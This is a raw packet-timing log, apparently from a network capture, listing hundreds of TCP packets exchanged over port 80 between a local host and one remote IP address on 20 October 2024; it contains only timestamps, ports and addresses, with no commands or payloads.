Oct 20, 2024 08:40:17.171905041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.171914101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.171962976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.171987057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172002077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172018051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172027111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172034979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172039986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172049999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172065020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172066927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172081947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172089100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172092915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172105074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172112942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172120094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172122002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172137022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172139883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172158957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172159910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172174931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172185898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172189951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172203064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172204971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172214985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172220945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172233105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172235012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172251940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172251940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172262907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172267914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172281027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172282934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172296047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172297955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172306061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172316074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172327995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172332048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172336102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172348022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172354937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172365904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172372103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172380924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172384024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172398090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172405958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172414064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172422886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172430992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172440052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172450066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172461987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172477961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172492981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172501087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172508955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172524929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172524929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172540903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172547102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172555923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172570944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172573090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172585964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172596931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172600985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172615051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172624111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172629118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172637939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172641993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172657013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172666073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172671080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172677994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172698975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172708988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172811985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172851086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172933102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172947884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172961950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172976971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.172981977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.172992945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173006058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173017979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173018932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173038960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173044920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173053980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173060894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173069954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173073053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173086882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173091888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173103094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173120022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173136950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173142910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173166990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173182011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173196077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173204899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173211098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173218966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173233986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173243999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173249006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173258066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173264980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173274040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173280001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173293114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173295975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173302889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173310041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173322916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173325062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173340082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173341036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173356056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173361063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173367977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173378944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173398972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173655987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173671961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173686028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173702002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173711061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173713923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173726082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173732042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173742056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173749924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173758030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173762083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173779964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173780918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173788071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173796892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173810959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173826933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173834085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173842907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173858881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173866987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173888922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173888922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173904896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173916101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173919916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173934937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173940897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173949957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.173966885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.173991919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174048901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174072027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174087048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174103022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174110889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174118042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174125910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174133062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174148083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174150944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174166918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174171925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174185991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174190998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174201965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174212933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174216986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174230099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174232960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174247026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174247980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174263000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174276114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174278975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174293995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174295902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174320936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174324989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174338102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174340010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174361944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174376011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174376011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174388885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174391985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174406052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174413919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174422026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174431086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174437046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174447060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174455881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174463034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174470901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174479008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174489975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174494982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174509048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174509048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174518108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174532890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174535990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174550056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174557924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174566031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174571037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174580097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174588919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174596071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174611092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174624920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174628019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174645901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174662113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174679995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174679995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174679995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174685955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174701929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174706936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174719095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174726009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174735069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174743891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174751043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174761057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174767971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174768925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174782038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174788952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174788952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174798012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174813032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174828053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174835920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174850941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174853086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174869061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174873114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174885035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174896955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174901962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174915075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174915075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174930096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174932003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174943924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174943924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174959898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174961090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174974918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.174974918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174988985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.174990892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175004959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175005913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175014973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175020933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175034046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175035000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175049067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175050974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175065041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175076962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175080061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175091028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175095081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175111055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175120115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175127983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175131083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175142050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175157070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175158978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175172091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175173044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175184965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175187111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175203085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175203085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175216913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175218105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175230980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175231934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175246954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175247908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175256968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175261974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175276041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175276995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175288916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175292015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.175306082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175318956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.175335884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360474110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360502958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360518932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360546112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360558987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360589027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360605001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360620975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360630989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360636950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360652924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360656977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360666037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360681057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360685110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360707998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360726118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360743999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360759020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360774040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360785961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.360800982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.360800982 CEST	80	49704	185.215.113.37	192.168.2.5
